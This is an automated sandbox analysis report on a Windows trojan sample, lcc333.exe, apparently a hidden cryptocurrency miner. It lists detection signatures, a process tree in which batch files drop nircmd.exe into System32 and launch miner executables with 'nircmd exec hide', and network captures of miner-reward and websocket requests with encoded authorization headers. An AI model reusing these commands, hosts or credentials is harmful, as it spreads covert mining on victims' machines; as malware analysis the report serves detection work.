Edit tour

Windows Analysis Report
lcc333.exe

Overview

General Information

Sample name:	lcc333.exe
Analysis ID:	1562222
MD5:	a236cdec4dd41fb49c3b5afc64b6f878
SHA1:	0ab0f158a5034f2a21f387e5c57d3b2cf667c720
SHA256:	015338b4f158c874c7b2bb20e1bb8f465d5679037efe5a21ba2c06cb6dc07a4d
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Drops executables to the windows directory (C:\Windows) and starts them

PE file contains section with special chars

Uses known network protocols on non-standard ports

Uses the nircmd tool (NirSoft)

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: PUA - NirCmd Execution

Uses taskkill to terminate processes

Yara detected NirCmd tool

Classification

Process Tree

System is w10x64

lcc333.exe (PID: 612 cmdline: "C:\Users\user\Desktop\lcc333.exe" MD5: A236CDEC4DD41FB49C3B5AFC64B6F878)

lcc333.exe (PID: 2836 cmdline: "C:\Users\user\Desktop\lcc333.exe" MD5: A236CDEC4DD41FB49C3B5AFC64B6F878)

cmd.exe (PID: 576 cmdline: C:\Windows\system32\cmd.exe /c python.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5688 cmdline: cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AutoDesk.exe (PID: 4676 cmdline: AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs MD5: 684CBE7FDADD9BE38FBFE427040B2637)

timeout.exe (PID: 180 cmdline: timeout /t 120 MD5: 100065E21CFBBDE57CBA2838921F84D6)

taskkill.exe (PID: 6820 cmdline: taskkill /f /im AutoDesk.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 320 cmdline: cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AutoDesk.exe (PID: 2148 cmdline: AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs MD5: 684CBE7FDADD9BE38FBFE427040B2637)

timeout.exe (PID: 2164 cmdline: timeout /t 120 MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 6512 cmdline: C:\Windows\system32\cmd.exe /c play.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nircmd.exe (PID: 3176 cmdline: nircmd exec hide "app_process.exe" MD5: 4A9DA765FD91E80DECFD2C9FE221E842)

app_process.exe (PID: 6444 cmdline: "app_process.exe" MD5: 7226BE407EFCC671016739CAD3D26220)

conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nircmd.exe (PID: 4820 cmdline: nircmd exec hide "app_process.exe" MD5: 4A9DA765FD91E80DECFD2C9FE221E842)

app_process.exe (PID: 356 cmdline: "app_process.exe" MD5: 7226BE407EFCC671016739CAD3D26220)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2452 cmdline: timeout /t 600 MD5: 100065E21CFBBDE57CBA2838921F84D6)

taskkill.exe (PID: 5944 cmdline: taskkill /f /im app_process.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

nircmd.exe (PID: 3140 cmdline: nircmd exec hide "app_process.exe" MD5: 4A9DA765FD91E80DECFD2C9FE221E842)

app_process.exe (PID: 5708 cmdline: "app_process.exe" MD5: 7226BE407EFCC671016739CAD3D26220)

conhost.exe (PID: 5648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nircmd.exe (PID: 1100 cmdline: nircmd exec hide "app_process.exe" MD5: 4A9DA765FD91E80DECFD2C9FE221E842)

app_process.exe (PID: 4068 cmdline: "app_process.exe" MD5: 7226BE407EFCC671016739CAD3D26220)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 1252 cmdline: timeout /t 600 MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 5616 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\Desktop\lcc333.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6176 cmdline: timeout /t 5 MD5: 100065E21CFBBDE57CBA2838921F84D6)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\System32\nircmd.exe	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
Process Memory Space: nircmd.exe PID: 3176	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
Process Memory Space: nircmd.exe PID: 4820	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
Process Memory Space: nircmd.exe PID: 3140	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
Process Memory Space: nircmd.exe PID: 1100	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
31.2.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
15.2.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
21.2.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
31.0.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
21.0.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
34.0.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
15.0.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
34.2.nircmd.exe.140000000.0.unpack	JoeSecurity_NirCmd	Yara detected NirCmd tool	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 43.199.41.35, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\lcc333.exe, Initiated: true, ProcessId: 2836, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: PUA - NirCmd Execution

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: nircmd exec hide "app_process.exe", CommandLine: nircmd exec hide "app_process.exe", CommandLine|base64offset|contains: *, Image: C:\Windows\System32\nircmd.exe, NewProcessName: C:\Windows\System32\nircmd.exe, OriginalFileName: C:\Windows\System32\nircmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c play.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6512, ParentProcessName: cmd.exe, ProcessCommandLine: nircmd exec hide "app_process.exe", ProcessId: 3176, ProcessName: nircmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.233.211.124:443 -> 192.168.2.5:50016 version: TLS 1.2

Source: lcc333.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source:	Binary string: c:\Projects\VS2005\NirCmd\x64\release\NirCmd.pdb source: nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C89280 FindFirstFileExW,FindClose,	0_2_00007FF714C89280
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF714C883C0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF714CA1874
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140002C80 strcpy,strrchr,FindFirstFileA,FindNextFileA,FindClose,	15_2_0000000140002C80
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140003B64 FindFirstFileA,FindNextFileA,FindClose,strlen,strlen,	15_2_0000000140003B64

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 50011

Source: global traffic	TCP traffic: 192.168.2.5:49705 -> 43.199.41.35:8080
Source: global traffic	TCP traffic: 192.168.2.5:49778 -> 20.2.154.66:48080

Source: global traffic	HTTP traffic detected: GET /miner/rewards?pubkey=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /miner/rewards?pubkey=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529460 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: j+ijabsuJbfoanaXa6e/wg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0RVYkdDNGczaGMxYVZ5OEJ4ZXpHWWhEbzVwdDVkeDZRd0dERjZyZEN2eEptMUpkQWVWaUs4ZzlIQUJSRVZWdW1aeG5KVnlqbmJ2Ym1uWTlvcEhKRnJQaw==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529460 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Pa7nbnXbg02FFMyV6RJt6A==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M2dKM1llU0szcnNQOUNoanltOW9xZXRhR2pZQzVQTEN3bzlnSEpDUEdIWlB1YkV0OHJ5dTZQMndjZE1CNUg1a054ZjRTSjV0aUpoQ25pNW1SNE5zVnB2Rw==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529467 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: kjCthDRqmFKGgW61X8+gcg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NW9CMW91MzRpU2R3M2tpaEdUV1BEVXFIMm9wR2tpN2FiWEFvenhoUjU0MXpoZkZDTURLclFObWhTTmE3QVFjQlZ3SEw4c3RncGd6UXdlaTFxSjZLZXNNcg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529467 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: DOpCmHC46XhQJiGoEF5WHA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NWRQaXo3TERyeXZQVmVibVBWUzRmbURCRjE4QVV5cWJLMThQR2FLVXJ5emFRUnFaY2pwZTZmZTZYZkVCdTQ0cEdFOGVaZjVDQ0hDRFJwUjZmRkVpc0dnVg==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529473 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 06+qmnMtCAEE2s2ywxV3ug==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86Mm1UTXlqSjZxVTlncUthVXhZTWZtYlZ1eEJ4RjNOaFVBako5TVpYa2NhRldqTXRuTFVxUXJqb0I5VzhZdGp5QWlTS1R1b1VtaU5FMUtUUnhUNkM1WlY0Rg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529473 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: ACuOhDY8i4K7DEpUKBlvYw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M3lmRFRWNkZlY1ZzYVJhbnpTcGRQVFlWelF0ZEVvbUZUREhhbUx4V2o4UWF6TktvZGlaU1pab0JoSnNNdHVIbWlZU3dKWWZMaXh3TkhkR2E5NVo5NEdxUg==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529480 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: uN1+11IrwDzGU8rnhMRxNQ==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0ZVU2N6UjJndkt3OUZvZE1pbnJSWHd4YVI0THJVa2g1NjZOV2pSa0Z2ekM5a2VCVzhIOXBnR3FtcDhKcjhzQTVUclFCR0VFUXBjVFc2cDhCZUN5MktwSw==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529480 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: H7m8aVRHdQaFbrlh0idjiA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6Y29jZUpGRnJWM1dUUXJEQWtOSjlBclZoeGJ0WWtWN2pyd1RMU1ZxRTJ4anJCcmcxZDlQRGltblVmUERORVptQlFob0JGSlQzVENLNkhTWUxSU2tqTWtM
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529486 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: TBZMZ12pMHBBoC4mQVa+yA==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHNzd2k1aHROd3hCQzRkTTlYbnNteXdrOFY1Uk10S2czMzRtbm94Uzc4Rnp6WXo4TWdZc3RpeFZqYVlrZzJFbkx5d3NyYzZYQlYyUkRWSnJ0anN0QUhnVQ==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529486 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: nkGHFwCOnEgaFMiW/EcHhA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6WGZhUXUzdExuQTFuNTdONUFaemdFSEdwY3F1Q0RlVkJudldBc3NaQUIyNFdkaGozMWh5Y3Rod3oyeERrOENCNE44TlkxU0dqeVBxbkg1VHVRRDR2eEdw
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529493 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Jcg0jM88I6kJ8E206drpQg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NWpvR210UEtUMWtyOE1RQmlNWTl4UzQyNFpUZXRHZFlNQUprMkJ2Y0o1eTlITlRmVkJTZmV0Uk5aOTVkaFl3Zml0OWdlS3BMYkZBNmpuclExVHc2dEQ0Zg==
